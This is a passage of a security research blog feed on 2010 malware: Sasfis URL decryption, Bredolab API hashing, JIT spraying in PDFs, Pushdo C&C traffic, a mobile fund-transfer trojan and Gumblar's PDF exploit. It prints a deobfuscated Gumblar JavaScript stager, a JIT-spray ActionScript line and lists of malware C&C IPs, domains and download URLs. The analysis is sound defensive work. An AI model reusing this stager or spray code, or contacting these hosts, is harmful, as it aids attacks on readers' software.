<span style="font-family: courier new;"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">90 78</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">90  f5</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 34 98 11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f 75     6c 69 69  74 2e 6e 65</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /  u      <strong style="color: #ff0000;">l  i</strong> i   t  .  n  e</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">90 78</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 90  f5 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      74 2f 6c 6f  61 64 65 72     62 62 2e  70 68 70 00</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       t  /  l  o   a  d  e  r      <strong style="color: #ff0000;">b  b</strong> .   p  h  p  \0</span></p>
<p>Now, in the second line of <strong>M1</strong>, we have <strong>&#8220;bb.php&#8221;</strong>, and it looks like this also appears in <strong>&#8220;mld/b?.php&#8221;</strong> at second line of <strong>T1</strong>. With this we can fill in the last missing byte. <br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">45</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 90 78 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">90  f5</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f 6d  79 6c 6f 61  64 65 72 2e</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /  m   <strong style="color: #ff0000;">y</strong> l  o  a   d  e  r  .</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 5f  45 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">90 78</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">90  f5</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      63 6e 2f 6d  6c 64 2f 62  62 2e 70 68  70 00 dc 96</span> </span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       c  n  /  m   l  d  /  b   <strong style="color: #ff0000;">b</strong> .  p  h   p  \0 ?  ?</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">45</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">90 78</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">90  f5</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 34 98 11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f 75  6b 6c 69 69  74 2e 6e 65</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /  u   <strong style="color: #ff0000;">k</strong> l  i  i   t  .  n  e</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">45</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">90 78</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 90  f5 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      74 2f 6c 6f  61 64 65 72  2f 62 62 2e  70 68 70 00</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       t  /  l  o   a  d  e  r   <strong style="color: #ff0000;">/</strong> b  b  .   p  h  p  \0</span></p>
<p>So even if the URLs are unknown, we can still decrypt them if bots with different URLs use the same key. In fact all of the pairs from this group {T1-M1, M1-M5, and T1-M5} can be solved without any really difficult guessing, and using all three makes it much easier. Even when it is not clear what text to fill in next, we can always try different guesses until we find the right one.</p>
<p>Of course the weaknesses in this encryption could have been avoided, or at least reduced. For example, not re-using keys would have helped. What we may be seeing here is evidence that, like many computer users, bot herders don&#8217;t take security as seriously as they should.</p>
 <img src="http://blog.fortinet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=1038" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/cryptanalysis-of-the-sasfis-registry-key/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>API Resolution in W32/Bredolab.AC!tr.dldr</title>
		<link>http://blog.fortinet.com/api-resolution-in-w32bredolab-actr-dldr/</link>
		<comments>http://blog.fortinet.com/api-resolution-in-w32bredolab-actr-dldr/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 19:54:07 +0000</pubDate>
		<dc:creator>RAlvarez</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[bredolab]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1003</guid>
		<description><![CDATA[In-depth analysis of malware shows different methods of obfuscating their codes. They employ different tactics to hide themselves to harden analysis. They also dynamically load functions that they will be using. Those functions more often times called API (Application Programming Interface) are commonly loaded when we run an application.
Malware authors also use dynamic function loading [...]]]></description>
			<content:encoded><![CDATA[<p>In-depth analysis of malware shows different methods of obfuscating their codes. They employ different tactics to hide themselves to harden analysis. They also dynamically load functions that they will be using. Those functions more often times called API (Application Programming Interface) are commonly loaded when we run an application.</p>
<p>Malware authors also use dynamic function loading to enable itself to adapt to different operating system. They use it to enable their program to run on Windows XP, Vista, Windows 7 or other platform.</p>
<p>Common practice is to list all function names as an array of strings to be loaded once the application is running. They used a combination of LoadLibrary and GetProcAddress functions to get the proper addresses. Still some try to use other techniques of getting those addresses without even using those two functions.</p>
<p>Let’s take a closer look at how W32/Bredolab.AC!tr.dldr resolved its API addresses.</p>
<p>W32/Bredolab.AC!tr.dldr did not use a list of API strings,  instead it uses a list of hash values equivalent of the APIs. The hash is computed as below:</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo1.jpg"><img class="alignnone size-full wp-image-1004" title="bredo1" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo1.jpg" alt="bredo1" width="531" height="181" /></a></p>
<p><strong> These are the steps how the malware got the right API  addresses without using LoadLibrary and GetProcAddress functions. </strong></p>
<p>Step 1:</p>
<p>It first copies the DLL file that it needs in a “%temp%” folder with TMP??.tmp as the filename(?? is a 2-digit number).</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo2.jpg"><img class="alignnone size-full wp-image-1005" title="bredo2" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo2.jpg" alt="bredo2" width="526" height="193" /></a></p>
<p>Step 2:</p>
<p>It then loads the TMP??.tmp to its address space.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo3.jpg"><img class="alignnone size-full wp-image-1006" title="bredo3" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo3.jpg" alt="bredo3" width="516" height="133" /></a></p>
<p>Step 3:</p>
<p>After loading the tmp file which is the equivalent dll file, it can now work on parsing it.  It parses its content, technically in the export table to get the list of function names. It then computes a hash value for each name and compare it to its own list.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo4.jpg"><img class="alignnone size-full wp-image-1007" title="bredo4" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo4.jpg" alt="bredo4" width="566" height="188" /></a></p>
<p>Once it gets the right hash value, it then gets the address of the function. And it starts back on Step 1 till it gets all the addresses it needs.</p>
<p>This technique of getting API addresses is not new. But it still serves as a basis of how malware works. Malware authors go to some lengths just to try to make analysis harder. I imagine that this is not even half of what the malware does.</p>
 <img src="http://blog.fortinet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=1003" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/api-resolution-in-w32bredolab-actr-dldr/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>RSA Conference: Ransomware and Industrial Spying</title>
		<link>http://blog.fortinet.com/rsa-conference-ransomware-and-industrial-spying/</link>
		<comments>http://blog.fortinet.com/rsa-conference-ransomware-and-industrial-spying/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 22:39:07 +0000</pubDate>
		<dc:creator>JLeggio</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[industrial spying]]></category>
		<category><![CDATA[ransomware]]></category>
		<category><![CDATA[rsa conference]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=998</guid>
		<description><![CDATA[Two of Fortinet&#8217;s FortiGuard Labs researchers will be on hand at next week&#8217;s RSA Conference to present their research in the Fortinet booth theater (#2225). The presentations focus on ransomware and industrial spying, two hot topic areas that are on the minds of security professionals at enterprises today. Here is a bit of information:
All Your [...]]]></description>
			<content:encoded><![CDATA[<p>Two of Fortinet&#8217;s FortiGuard Labs researchers will be on hand at next week&#8217;s RSA Conference to present their research in the Fortinet booth theater (#2225). The presentations focus on ransomware and industrial spying, two hot topic areas that are on the minds of security professionals at enterprises today. Here is a bit of information:</p>
<p style="padding-left: 30px;"><strong>All Your Data Are Belong To Us</strong><br />
Ransomware comes in many shapes and forms, with the most recent variation using malware masquerading as antivirus protection. The goal of an attacker is simple: cripple, lock down and encrypt files/applications, then offer a service to unlock the data. Ransomware has already begun to leave a destructive trail in 2010. Watch as Derek Manky, cyber security and threat researcher, discusses and demonstrates these threats live in the theater.</p>
<p style="padding-left: 30px;"><strong>The Art of Industrial Spying</strong><br />
Every organization and individual has more and more confidential or regulated data to manage, with growing amounts of data being moved to digital storage and transferred digitally. This has wedged the door open to data theft and/or manipulation for financial gain, while bypassing physical security measures. Steve Fossen, senior manager of security research and development, will discuss and demonstrate how enterprises can protect their data from this kind of intellectual property theft so that it doesn’t end up in the wrong hands – or on the open market.</p>
<p>Presentations will take place every 30 minutes during show floor hours. Please stop by the Fortinet booth (#2225) for the schedule and for information on these presentations.</p>
 <img src="http://blog.fortinet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=998" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/rsa-conference-ransomware-and-industrial-spying/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JIT Spraying in PDF</title>
		<link>http://blog.fortinet.com/jit-spraying-in-pdf/</link>
		<comments>http://blog.fortinet.com/jit-spraying-in-pdf/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 17:55:53 +0000</pubDate>
		<dc:creator>Hfli</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[adobe reader]]></category>
		<category><![CDATA[ASLR]]></category>
		<category><![CDATA[DEP]]></category>
		<category><![CDATA[Dionysus Blazakis]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[jit spraying]]></category>
		<category><![CDATA[pdf]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=967</guid>
		<description><![CDATA[You may have taken note of that recently, security researcher Dionysus Blazakis presented a significant technology to bypass thshe DEP (Data Execution Prevention) and ASLR (Address space layout randomization) at BlackHat DC 2010, which is called &#8220;JIT Spraying&#8221; (The white paper can be found at here).
In fact, JIT Spraying is a general idea, to generate [...]]]></description>
			<content:encoded><![CDATA[<p align="left">You may have taken note of that recently, security researcher Dionysus Blazakis presented a significant technology to bypass thshe <a href="http://en.wikipedia.org/wiki/Data_Execution_Prevention">DEP</a> (Data Execution Prevention) and <a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a> (Address space layout randomization) at BlackHat DC 2010, which is called &#8220;JIT Spraying&#8221; (The white paper can be found at <a href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf">here</a>).</p>
<p align="left">In fact, JIT Spraying is a general idea, to generate executable code in accordance with the attacker’s wish in the memory. In that presentation, the researcher shows how to implement this technology in Adobe Flash ActionScript Virtual Machine as an example.</p>
<p align="left">As shown in my other post: <a href="http://blog.fortinet.com/a-look-back-at-pdf-vulnerabilities/">A Look Back at PDF Vulnerabilities</a>, Adobe Reader could play Flash file independently (without Adobe Flash Player installed in the system). Following quick test will show that the JIT Spraying therefore works here as well.</p>
<p align="left">1. We use the same ActionScript code showed in the paper.</p>
<p style="text-align: left"><em>var y = (0&#215;3c54d0d9 ^ 0&#215;3c909058 ^ 0&#215;3c59f46a ^ 0&#215;3c90c801 ^ 0&#215;3c9030d9 ^ 0&#215;3c53535b);</em></p>
<p align="left">2. We embed the .swf file into PDF. Note that the red-marked option parameter makes playing the .swf file automatically.</p>
<p align="left"><a href="http://blog.fortinet.com/wp-content/uploads/2010/02/pic1.PNG"><img class="alignnone size-full wp-image-968" style="margin: 6px" src="http://blog.fortinet.com/wp-content/uploads/2010/02/pic1.PNG" alt="pic1" width="468" height="468" /></a></p>
<p align="left">3. Now let&#8217;s see have a look at the right places (highlighted in red below) in the memory space of Adobe Reader process once it loaded our crafted PDF:</p>
<p align="left"><a href="http://blog.fortinet.com/wp-content/uploads/2010/02/pic2.PNG"><img class="alignnone size-full wp-image-969" style="margin: 6px" src="http://blog.fortinet.com/wp-content/uploads/2010/02/pic2.PNG" alt="pic2" width="442" height="344" /></a></p>
<p align="left">The ActionScript code we used in our embedded flash file clearly appears, in the form of native machine code (see the series of XOR operations above). Meaning, it was compiled by the JIT compiler.</p>
<p align="left"><em>[As a side note, the responsible file for playing Flash is named "authplay.dll", in fact it is a standard Shockwave Flash application.]</em></p>
<p align="left">Therefore, we know that PDF has the same situation as in the Flash: code can be “sprayed” via the JIT compiler.</p>
<p align="left">As we know, DEP is enabled from Adobe Reader 9.2.0, which indeed prevented a lot of PDF based attacking, such as the popular exploit of the vulnerability <a href="http://blog.fortinet.com/a-quick-look-within-the-recent-pdf-zero-day/">CVE-2009-4324</a> in the wild does not work on the latest Adobe Reader.</p>
<p align="left">Unfortunately, now the situation changes, the DEP on Adobe Reader became much easier to be attacked due to the Flash playing feature in PDF. And it is expected that the working JIT Spraying exploit will appear in the wild in the near future as the researchers (both Blackhats and Whitehats) are paying more attentions on this area, so PDF zero-days will get a brand new way to keep their lives. It is important information for our PDF zero-day defense as well.</p>
<p align="left"><strong>Guillaume Lovet contributed to this post</strong></p>
 <img src="http://blog.fortinet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=967" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/jit-spraying-in-pdf/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pushdo Revolutions: Communication Encryption and Decoy Traffic</title>
		<link>http://blog.fortinet.com/pushdo-revolutions-communication-encryption-and-decoy-traffic/</link>
		<comments>http://blog.fortinet.com/pushdo-revolutions-communication-encryption-and-decoy-traffic/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 19:37:07 +0000</pubDate>
		<dc:creator>xyang</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[pushdo]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=951</guid>
		<description><![CDATA[It&#8217;s been two months since we revealed the 3rd Generation Pushdo/Cutwail/Webwail Botnet communication protocol and encryption. Recently, while researching a new bot (GoolBot), we found another Pushdo-like malware spreading with its help. After reversing, it became clear that it was a brand new evolution of the infamous multi-malware loader, for two essential reasons:

While it used [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been two months since we <a id="i-l1" title="revealed the 3rd Generation Pushdo/Cutwail" href="http://www.fortiguard.com/analysis/pushdoanalysis.html">revealed the 3rd Generation Pushdo/Cutwail</a>/Webwail Botnet communication protocol and encryption. Recently, while researching a new bot (GoolBot), we found another Pushdo-like malware spreading with its help. After reversing, it became clear that it was a brand new evolution of the infamous multi-malware loader, for two essential reasons:</p>
<ul>
<li>While it used the 2nd generation Pushdo communication protocol (with minor varations), it encrypted its communications and routed them through the SSL port (443); while this encryption looked like SSL at first sight (which would be consistent with the choice of the port), it is actually NOT.</li>
</ul>
<ul>
<li>There is a routine which generates some actual SSL traffic to a list of 339 <a href="http://blog.fortinet.com/wp-content/uploads/2010/02/ddnknshk_126f427t7fp_b.jpg">known web sites</a><span style="color: #ff0000;"> </span>(legitimate, for the most part), obviously to drawn bot-to-C&amp;C communication in a sea of decoys.</li>
</ul>
<p>This latter point explains why so many webmasters are <a id="sd5d" title="report that SSL traffic" href="http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20100129">reporting that SSL traffic</a> (coming from different IPs) is much higher than normal these days. The good news for them is that the additional traffic is not malicious (application-wise, that is), and the bad news is that an increase of actual viewers is not the cause of it: it&#8217;s just some dummy data generated by calls to the QueryPerformanceCounter API in the latest Pushdo evolution.</p>
<p>Memory snapshots (from a pushdo infected machine) below illustrate the former point about encryption.</p>
<p>Before encryption:</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/02/ddnknshk_118hmct3mcj_b.jpg"><img class="alignnone size-full wp-image-954" title="ddnknshk_118hmct3mcj_b" src="http://blog.fortinet.com/wp-content/uploads/2010/02/ddnknshk_118hmct3mcj_b.jpg" alt="ddnknshk_118hmct3mcj_b" /></a></p>
<p>After encryption (same memory space), just before sending:</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/02/ddnknshk_119d52p4qg2_b.jpg"><img class="alignnone size-full wp-image-955" title="ddnknshk_119d52p4qg2_b" src="http://blog.fortinet.com/wp-content/uploads/2010/02/ddnknshk_119d52p4qg2_b.jpg" alt="ddnknshk_119d52p4qg2_b" /></a><br />
The response from the C&amp;C server, encrypted alike, contains the rootkit and spam engine modules (classic Pushdo process).</p>
<p>As an interesting side note, as we will see below, here is a list of those C&amp;Cs:</p>
<div id="xqq9" style="text-align: left;">75.126.159.19:443<br />
75.126.159.19:443<br />
94.75.233.173:443<br />
94.75.233.174:443<br />
94.75.233.171<br />
94.75.233.172<br />
89.149.254.213<br />
89.149.244.141<br />
89.149.244.23<br />
aaa.oduvanchic.com<br />
aaa.news2days.ru<br />
antisgetout.cn<br />
fire***eye.com<br />
****briankrebs.com</p>
<p>This time, the author(s) was/were kind enough to leave the PDB filepath<br />
in the binary:<br />
&#8220;e:\Source\sloader_conc12np1\sloader_conc1\svcloader\Release\svcloader.pdb&#8221;</p>
<p>Historically, it has been common for malware authors to send messages hidden within their binaries &#8211; often as strings. There are, however, other ways. The last listed domain above, presumably registered by the author(s) of this Pushdo variant used for C&amp;C, is an obvious dig at Brian Krebs, author of <a id="sxjm" title="Krebs on Security" href="http://www.krebsonsecurity.com/">Krebs on Security</a> (previously The Washington Post). Indeed, <a id="cevj" title="this is not the first time" href="http://www.krebsonsecurity.com/2010/01/tough-talk-from-those-who-hide/">this is not the first time</a>. We had a look at the <a id="ewa9" title="variant referenced" href="http://www.virustotal.com/analisis/7f4e9677513fd98d8e93cd5baa6e4dd96188010e58191f5cd32a8a726f7cdb01-1263611340">variant referenced</a> in this post (Harebot, detected by Fortinet as W32/Agent.LKU!tr) that was circulating around January 17th, 2010. In fact, this variant is a dropper that drops the same updated 2nd generation Pushdo. These are the main points we observed with this variant seen around January 17th:</p>
<ul>
<li>No SSL traffic is sent: The 2nd generation traffic is still encrypted, but is transmitted on port 80</li>
<li>The project path is slightly different (see above for current path): &#8221; e:\Source\sloader_conc1\svcloader\Release\svcloader.pdb&#8221;</li>
<li>The same C&amp;C domains are used</li>
</ul>
<p>Therefore, we can see the development path the authors are taking with this new variation. In January, they had updated to the new encrypted protocol but did not have the SSL traffic module included. Now, in February, we see the SSL module emerge. Could it shed some light on the question &#8220;are all Pushdo evolutions from the same author(s)&#8221;?</p>
<p>-Kyle</p>
<p><strong>Guillaume Lovet and Derek Manky contributed to this post.</strong></div>
 <img src="http://blog.fortinet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=951" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/pushdo-revolutions-communication-encryption-and-decoy-traffic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malicious Transfers of IM3 funds: The Return</title>
		<link>http://blog.fortinet.com/malicious-transfers-of-im3-funds-the-return/</link>
		<comments>http://blog.fortinet.com/malicious-transfers-of-im3-funds-the-return/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 18:10:46 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[im3]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[pre-paid phone cards]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=909</guid>
		<description><![CDATA[It had been a while since we&#8217;d last seen a malware transferring credits to pre-paid phone cards. Our last encounter dated back to SymbOS/Flocker!tr.python early January 2009. It is happening again, with Java/GameSat.A!tr, a Java ME midlet which is currently in the wild.
Indosat, an Indonesian telecom operator, offers IM3 (Indosat Multimedia 3) customers the ability [...]]]></description>
			<content:encoded><![CDATA[<p>It had been a while since we&#8217;d last seen a malware transferring credits to pre-paid phone cards. Our last encounter dated back to <a id="t:be" title="SymbOS/Flocker!tr.python" href="http://www.fortiguard.com/encyclopedia/virus/symbos_flocker.ab%21tr.python.html">SymbOS/Flocker!tr.python</a> early January 2009. It is happening again, with <a id="jq0c" title="Java/GameSat.A!tr" href="http://www.fortiguardcenter.com/ve?vid=1458005">Java/GameSat.A!tr</a>, a Java ME midlet which is currently in the wild.</p>
<p>Indosat, an Indonesian telecom operator, offers IM3 (Indosat Multimedia 3) customers the ability to transfer (small) funds between two accounts. This is known as &#8216;pulse transfer&#8217; or &#8216;M3-Transfer&#8217; and it works by &#8230; SMS, without PIN nor registration ! The money is transferred from one IM3 account to another IM3 account (a transfer fee is charged to the sender).</p>
<p>This sounds quite handy, but&#8230; absolutely anything but secure, so it comes as no surprise cyber-delinquents make use of it.</p>
<p>In <a id="tgas" title="Flocker" href="http://www.fortiguard.com/encyclopedia/virus/symbos_flocker.ab%21tr.python.html">Flocker</a>, from 5000 to 10000 Indonesian rupees (0.45 &#8211; 0.90 USD) were transferred to IM3 accounts controlled by the malware author.</p>
<p>Now, <a id="amna" title="Java/GameSat.A!tr" href="http://www.fortiguardcenter.com/ve?vid=1458005">Java/GameSat.A!tr</a> typically gets onto your mobile phone as a &#8216;modification to Opera Mini&#8217;. Of course, it does not modify Opera Mini at all. Instead, it uses IM3 fund transfer to access non-free on-line divination, chat or dating services. The end-user gets charged up to 20000 Rp (1.8 USD) &#8211; not mentioning the transfer fee &#8211; each time he/she opens the application or tries to access the non-free services.</p>
<div id="attachment_911" class="wp-caption alignnone" style="width: 250px"><a href="http://blog.fortinet.com/wp-content/uploads/2010/01/operamini.jpg"><img class="size-full wp-image-911 " title="operamini" src="http://blog.fortinet.com/wp-content/uploads/2010/01/operamini.jpg" alt="Figure 1. The malware advertises as a modification to Opera Mini" width="240" height="320" /></a> <p class="wp-caption-text">Figure 1. The malware advertises as a modification to Opera Mini</p></div>
<div id="attachment_912" class="wp-caption alignnone" style="width: 250px"><a href="http://blog.fortinet.com/wp-content/uploads/2010/01/malwaresms.jpg"><img class="size-full wp-image-912" title="malwaresms" src="http://blog.fortinet.com/wp-content/uploads/2010/01/malwaresms.jpg" alt="malwaresms" width="240" height="320" /></a><p class="wp-caption-text">Figure 2. Malware tries to send an SMS</p></div>
<p>I could make up my own divination service on that matter, and tell end-users they are probably about to lose roughly two dollars, get plenty of SMS spam and absolutely no advice or dates whatsoever.</p>
<p>&#8211; The Crypto Girl</p>
 <img src="http://blog.fortinet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=909" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/malicious-transfers-of-im3-funds-the-return/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Inside Gumblar: Looking for the trigger</title>
		<link>http://blog.fortinet.com/inside-gumblar-looking-for-the-trigger/</link>
		<comments>http://blog.fortinet.com/inside-gumblar-looking-for-the-trigger/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 17:52:13 +0000</pubDate>
		<dc:creator>Bing Liu</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[gumblar]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=892</guid>
		<description><![CDATA[Appearing in the first quarter of 2009, Gumblar spread rapidly and has become one of the biggest threats today[1]. Gumblar infects PC by exploiting vulnerabilities of Web Browsers and Browser Plugins, such as Adobe Acrobat Reader and Flash player. There is some good information available regarding Gumblar, addressing its Javascript obfuscation, the affected domains and [...]]]></description>
			<content:encoded><![CDATA[<p>Appearing in the first quarter of 2009, Gumblar spread rapidly and has become one of the biggest threats today<sup><a id="l5zc" title="[1]" href="http://www.infosecurity-us.com/view/5380/gumblar-goes-into-overdrive/">[1]</a></sup>. Gumblar infects PC by exploiting vulnerabilities of Web Browsers and Browser Plugins, such as Adobe Acrobat Reader and Flash player. There is some good information available regarding Gumblar, addressing its Javascript obfuscation, the affected domains and its C&amp;C communication<a id="iegb" title="[2]" href="http://securitylabs.websense.com/content/Blogs/3401.aspx">[2]</a><a id="ycqz" title="[3]" href="http://www.martinsecurity.net/2009/05/20/inside-the-massive-gumblar-attacka-dentro-del-enorme-ataque-gumblar/">[3]</a><a id="h526" title="[4]" href="http://blog.unmaskparasites.com/2009/10/23/revenge-of-gumblar-zombies/">[4]</a>. However, scarce detail is available about the very vulnerabilities and exploits leveraged by Gumblar, and the question &#8220;How are the malicious PDF and Flash files crafted?&#8221; remains mostly unanswered.</p>
<p>This is the very question we will give a try at today. If you installed Adobe Reader, Acrobat or Flash player, you stand big chances to be fed malicious samples when you visit an infected web site: After fingerprinting the victim&#8217;s system, Gumblar uses obfuscated javascript to feed these samples to the visitors of the compromised sites running PHP. These malicious samples (PDF and Flash) in turn exploit vulnerabilities in the software handling them on the victim&#8217;s system; upon successful exploitation, the victim becomes effectively infected by Gumblar &#8211; without even noticing, since no action was required from the victim.</p>
<p>The following analysis concerns those malicious PDF and Flash files.<strong></strong></p>
<p><strong>1. PDF Exploit Example</strong></p>
<p>Many recent Acrobat / Acrobat Reader vulnerabilities are in fact triggered by javascript code embedded in the document: malformed arguments are passed to vulnerable methods. In our case, the embedded javascript code (compressed, as usual &#8211; though surprisingly short) looks like this once uncompressed:</p>
<p><em>IPfFw=this.info.title;<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;Store the real code</strong><br />
function wwh(EOOGe){return unescape(EOOGe);}function mQC1G(){return &#8216;%&#8217;;}</em><em>xbnI=(IPfFw).replace(/[\R]/g,mQC1G());<br />
eval(wwh(xbnI))</em></p>
<p>Interestingly, it appears that <strong>the real code is stored in the file title</strong>, which is what makes the JavaScript part so short.</p>
